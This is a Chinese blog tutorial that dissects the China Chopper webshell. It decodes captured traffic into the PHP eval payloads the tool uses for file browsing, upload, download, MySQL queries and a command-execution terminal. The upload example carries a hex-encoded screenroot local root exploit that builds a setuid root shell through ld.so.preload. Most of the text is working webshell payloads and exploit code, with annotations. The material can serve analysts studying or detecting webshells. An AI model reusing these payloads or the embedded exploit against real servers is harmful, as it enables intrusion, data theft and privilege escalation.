中国菜刀使用与原理分析

一、中国菜刀的功能

中国菜刀是一款功能强大的webshell工具,可以用来对目标网站进行渗透获取目标系统的文件系统,对目标系统的文件系统进行管理同时也可以对获取系统的shell进行操作命令执行操作,同时可以对目标系统进行数据库操作,但是从github下载下来的菜刀对php7不支持因为php7对菜刀进行了过滤,所以需要我们下载php5进行测试。对于php7我们还可以采用中国蚁剑进行连接


1.1 文件管理

在输入了访问链接和连接地字符并且配置了字符编码之后,点击添加即可
在这里插入图片描述

1.1.1 显示网站根目录信息

利用我们刚刚指定的test参数,传输一些代码命令函数利用后端的eval函数进行执行

通过抓包查看菜刀发送的数据
第一个数据包如下
在这里插入图片描述
将数据整理之后如下,也就是获取当前脚本路径以及用户名和操作系统的内容

test=@eval(base64_decode($_POST[z0]))&
z0=@set_time_limit(0);//表示没有脚本运行时间上的限制
@set_magic_quotes_runtime(0);//表示不对特殊字符进行转义
echo(">|");;
$D=dirname($_SERVER["SCRIPT_FILENAME"]);//将当前执行的脚本的绝对路径的目录取出不要文件名
if($D=="")
    $D=dirname($_SERVER["PATH_TRANSLATED"]);//如果为空的话将当前脚本所在文件系统(非文档根目录)的基本路径
$R="{$D}\t";
if(substr($D,0,1)!="/")
{
    foreach(range("A","Z") as $L)
        if(is_dir("{$L}:"))
            $R.="{$L}:";
}
$R.="\t";
$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';//获取当前用户的id更具用户id获取用户的相关信息
$usr=($u)?$u['name']:@get_current_user();//判断是否为空是的话将当前脚本的所有者赋值给usr,不为空将用户的用户名给usr
$R.=php_uname();//将操作系统的信息给R
$R.="({$usr})";//$R=$R."({$usr})"将用户名加入到R中
print $R;;//输出R
echo("|<-");
die();//结束程序

获得了网站的路径用户和系统信息之后,发送第二个数据包获取网站目录下的文件和目录信息
在这里插入图片描述
解码整理之后如下所示,首先进如网站的根目录其次获取网站目录下的文件夹和文件的大小修改时间以及权限等信息

@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$D=base64_decode($_POST["z1"]);//接收zi赋值给D
$F=@opendir($D);//打开一个目录句柄赋值给F
    if($F==NULL){
         echo("ERROR:// Path Not Found Or NoPermission!");
    }
    else{
        $M=NULL;
        $L=NULL;
        while($N=@readdir($F)){//循环读取目录信息
            $P=$D."/".$N;//将读取的内容赋值给P加上网站的路径
            $T=@date("Y-m-d H:i:s",@filemtime($P));//将文件的最近一次修改时间进行格式化一个字符串赋值给T
            @$E=substr(base_convert(@fileperms($P),10,8),-4);//获取文件的权限转为8进制截取最后4个赋值给E
            $R="\t".$T."\t".@filesize($P)."\t".$E."";//获取文件大小加上权限加上修改时间赋值给R
            if(@is_dir($P))//如果P是一个目录
                 $M.=$N."/".$R;//将目录的信息加上目录名称给M
            else 
                 $L.=$N.$R;//不是目录就之间文件名加上文件信息给L
        }
       echo $M.$L;//输出ML,两个其中有一个是NULL
       @closedir($F);
    };
echo("|<-");
die();
&z1=D:\phpstudy_pro\WWW  //z1的值为网站的路径在上一个数据包获取的

效果如下所示,显示文件大小时间权限
在这里插入图片描述


1.1.2 上传文件

进入文件管理页面右击空白处选择上传选择文件之后点击上传,抓包
在这里插入图片描述
解码整理之后如下,文件内容在传输的时候进行了url编码了在接收的时候将其解码,以fwrite写入文件中写入成功返回1失败返回0,以此实现文件的上传

@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$f=base64_decode($_POST["z1"]);
$c=$_POST["z2"];
$c=str_replace("\r","",$c);//将z2也就是文件内容中的\r换为空
$c=str_replace("\n","",$c);//将\n换为空
$buf="";
for($i=0;$i<strlen($c);$i+=2)
    $buf.=urldecode("%".substr($c,$i,2));//每隔两个加上一个%也就是表示为16进制,因为内容传输的时候转为了16进制也就是进行了url编码了,加了之后进行url解码
echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;//也写文件的方式打开一个文件路径为z1的值若文件不存在则创建,然后写入解码之后文件内容
echo("|<-");
die();&
z1=D:\phpstudy_pro\WWW\41154.sh&
z2=212F62696E2F626173680A232073637265656E726F6F742E73680A23207365747569642073637265656E2076342E352E30206C6F63616C20726F6F74206578706C6F69740A2320616275736573206C642E736F2E7072656C6F6164206F76657277726974696E6720746F2067657420726F6F742E0A23206275673A2068747470733A2F2F6C697374732E676E752E6F72672F617263686976652F68746D6C2F73637265656E2D646576656C2F323031372D30312F6D736730303032352E68746D6C0A23204841434B2054484520504C414E45540A23207E20696E666F646F78202832352F312F3230313729200A6563686F20227E20676E752F73637265656E726F6F74207E220A6563686F20225B2B5D2046697273742C20776520637265617465206F7572207368656C6C20616E64206C6962726172792E2E2E220A636174203C3C20454F46203E202F746D702F6C69626861782E630A23696E636C756465203C737464696F2E683E0A23696E636C756465203C7379732F74797065732E683E0A23696E636C756465203C756E697374642E683E0A5F5F6174747269627574655F5F2028285F5F636F6E7374727563746F725F5F29290A766F69642064726F707368656C6C28766F6964297B0A2020202063686F776E28222F746D702F726F6F747368656C6C222C20302C2030293B0A2020202063686D6F6428222F746D702F726F6F747368656C6C222C203034373535293B0A20202020756E6C696E6B28222F6574632F6C642E736F2E7072656C6F616422293B0A202020207072696E746628225B2B5D20646F6E65215C6E22293B0A7D0A454F460A676363202D66504943202D736861726564202D6C646C202D6F202F746D702F6C69626861782E736F202F746D702F6C69626861782E630A726D202D66202F746D702F6C69626861782E630A636174203C3C20454F46203E202F746D702F726F6F747368656C6C2E630A23696E636C756465203C737464696F2E683E0A696E74206D61696E28766F6964297B0A202020207365747569642830293B0A202020207365746769642830293B0A20202020736574657569642830293B0A20202020736574656769642830293B0A2020202065786563767028222F62696E2F7368222C204E554C4C2C204E554C4C293B0A7D0A454F460A676363202D6F202F746D702F726F6F747368656C6C202F746D702F726F6F747368656C6C2E630A726D202D66202F746D702F726F6F747368656C6C2E630A6563686F20225B2B5D204E6F7720776520637265617465206F7572202F6574632F6C642E736F2E7072656C6F61642066696C652E2E2E220A6364202F6574630A756D61736B20303030202320626563617573650A73637265656E202D44202D6D202D4C206C642E736F2E7072656C6F6164206563686F202D6E652020225C7830612F746D702F6C69626861782E736F222023206E65776C696E65206E65656465640A6563686F20225B2B5D2054726967676572696E672E2E2E220A73637265656E202D6C7320232073637265656E20697473656C66206973207365747569642C20736F2E2E2E200A2F746D702F726F6F747368656C6C0A

可以到输出了1表示上传成功了,同时在目标网站目录下可以看到该文件已经存在了
在这里插入图片描述
在这里插入图片描述


1.1.3 下载文件

在文件管理中找到需要下载的文件右击选择下载选择路径之后点击保存,之后抓包分析菜刀发送的数据
在这里插入图片描述
整理解码之后如下所示,查看是否对内容进行转义还原路径利用fopen打开文件,利用readfile读取文件内容,获取了文件内容之后就是菜刀将文件写入本地了

@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$F=get_magic_quotes_gpc()?base64_decode(stripslashes($_POST["z1"])):base64_decode($_POST["z1"]);//获取配置项magic_quotes_gpc的值
//该值为1的时候或对cookie或post传递的数据进行\转义,所以这里需要判断是否设置如果为1则使用stripslashes函数去除转义字符还原内容,这里的内容是下载的文件路径也就是还原路径
$fp=@fopen($F,"r");//以可读的方式打开打开文件
if(@fgetc($fp)){//读取第一个字符是否为空,为空则表示文件是空文件或者文件读取失败
    @fclose($fp);
    @readfile($F);//使用readfile读取文件内容
}
else{
    echo("ERROR:// Can Not Read");
};
echo("|<-");
die();&
z1=D:\phpstudy_pro\WWW\index.html

可以看到输出了文件内容同时在本地也保存了文件了
在这里插入图片描述
在这里插入图片描述
其他的删除文件重命名文件等,也是类似的,传递命令利用eval执行函数删除文件重命名文件,这里不再进行赘述了


1.2 数据库管理

右键我们添加的链接选择数据库管理,进入页面之后点击数据库配置,输入数据库类型这里以MYSQL为例,然后输入主机名可以使用localhost也可以使用ip,然后设置用户名、密码、字符编码之后点击提交就可以得到目标系统的数据库管理页面
在这里插入图片描述
在这里插入图片描述
抓包分析查看在数据库管理的时候发送的数据包,连接数据库然后执行sql查询输出结果

@ini_set ( "display_errors", "0" );
@set_time_limit ( 0 );
@set_magic_quotes_runtime ( 0 );
echo ("->|");;
$m = get_magic_quotes_gpc ();
$conf = $m ? stripslashes ( $_POST ["z1"] ) : $_POST ["z1"];//检查是否转义了字符,是则还原
$ar = explode("choraheiheihei", $conf);//将z1按choraheihei进行拆分为数组,ar[0]为地址,ar[1]为用户名,ar[2]为密码
$dbn = $m ? stripslashes ( $_POST ["z2"] ) : $_POST ["z2"];//检查是否转义,还原数据
$sql = base64_decode ( $_POST ["z3"] );//解码z3
$T = @mysql_connect($ar[0],$ar[1],$ar[2]);//连接数据库
@mysql_query ( "SET NAMES utf8" );//设置数据库编码为utf8
if($dbn==""){//如果没有指定数据库也就是z2的值为空则数据所有数据库
    $sql = "SHOW DATABASES";//设置查询命令为显示数据库中所有的库
    $q = @mysql_query ( $sql );//执行sql查询所有的库
    $i = 0;
    while($rs=@mysql_fetch_row($q)){//读取查询的内容
        echo(trim($rs[0]).chr(9))."\t|\t\r\n";//chr(9)为制表符也就是tab键
    }
    @mysql_close($T);;//关闭数据库
    echo("|<-");
    die();
}
else{//设置了在显示某个数据库的内容时
    @mysql_select_db ( $dbn );//选择数据库
    $q = @mysql_query ( $sql );//执行我们输入的sql命令即z3的值
    $i = 0;
    while ( $col = @mysql_field_name ( $q, $i ) ) {//取得每一个字段名
        echo ($col . "\t|\t");
        $i ++;
    }
    echo ("\r\n");
    while ( $rs = @mysql_fetch_row ( $q ) ) {//读取查询的结果
        for($c = 0; $c < $i; $c ++) {
            echo (trim ( $rs [$c] ));
            echo ("\t|\t");
        }
        echo ("\r\n");
    }
    @mysql_close ( $T );;
    echo ("|<-");
    die ();
}&
z1=localhostchoraheiheiheirootchoraheiheiheiroot&
z2=&
z3=

效果如下
在这里插入图片描述


1.3 虚拟终端

虚拟终端也是菜刀一个很厉害的功能,可以模拟一个终端进行命令的执行,右击添加的链接选择虚拟终端可以看到菜刀发送数据包,抓包分析在这里插入图片描述
将追踪的TCP数据流进行解码之后如下,和前面的文件管理发送的第一个数据包是一样的获取网站的路径系统信息、用户信息等

test=@eval(base64_decode($_POST[z0]))&
z0=@set_time_limit(0);//表示没有脚本运行时间上的限制
@set_magic_quotes_runtime(0);//表示不对特殊字符进行转义
echo(">|");;
$D=dirname($_SERVER["SCRIPT_FILENAME"]);//将当前执行的脚本的绝对路径的目录取出不要文件名
if($D=="")
    $D=dirname($_SERVER["PATH_TRANSLATED"]);//如果为空的话将当前脚本所在文件系统(非文档根目录)的基本路径
$R="{$D}\t";
if(substr($D,0,1)!="/")
{
    foreach(range("A","Z") as $L)
        if(is_dir("{$L}:"))
            $R.="{$L}:";
}
$R.="\t";
$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';//获取当前用户的id更具用户id获取用户的相关信息
$usr=($u)?$u['name']:@get_current_user();//判断是否为空是的话将当前脚本的所有者赋值给usr,不为空将用户的用户名给usr
$R.=php_uname();//将操作系统的信息给R
$R.="({$usr})";//$R=$R."({$usr})"将用户名加入到R中
print $R;;//输出R
echo("|<-");
die();//结束程序

结果如下得到一个与网站路径命名的终端
在这里插入图片描述
当我们输入一条命令如dir之后继续抓包分析
在这里插入图片描述
经过解码整理之后如下所示,执行action调用cmd再进行网站根路径之下运行dir命令输出结果,这就是虚拟终端的实现其他的命令也是类似的

test=@eval.(base64_decode($_POST[action]));&action=
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$p=base64_decode($_POST["z1"]);
$s=base64_decode($_POST["z2"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);//获取脚本的路径的目录
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";//如果路径的第一个字符为/那么c为-c "{$s}"也就是z2的值加上-c,
//否则c为/c "{$s}"因为在windows和Linux中选项的使用不同一个是-一个是/
$r="{$p} {$c}";//将z1的值加上c的值给r也就是cmd -c cd/d"D:\phpstudy_pro\WWW"&dir&echo [S]&cd&echo [E]
@system($r." 2>&1",$ret);//调用system执行r将结果保存到ret中
print ($ret!=0)?"ret={$ret}":"";;//输出ret
echo("|<-");
die();&
z1=cmd&   //调用cmd
z2=cd/d"D:\phpstudy_pro\WWW\"&dir&echo [S]&cd&echo [E] //执行的命令进入网站根目录使用dir命令
  • 7
    点赞
  • 59
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值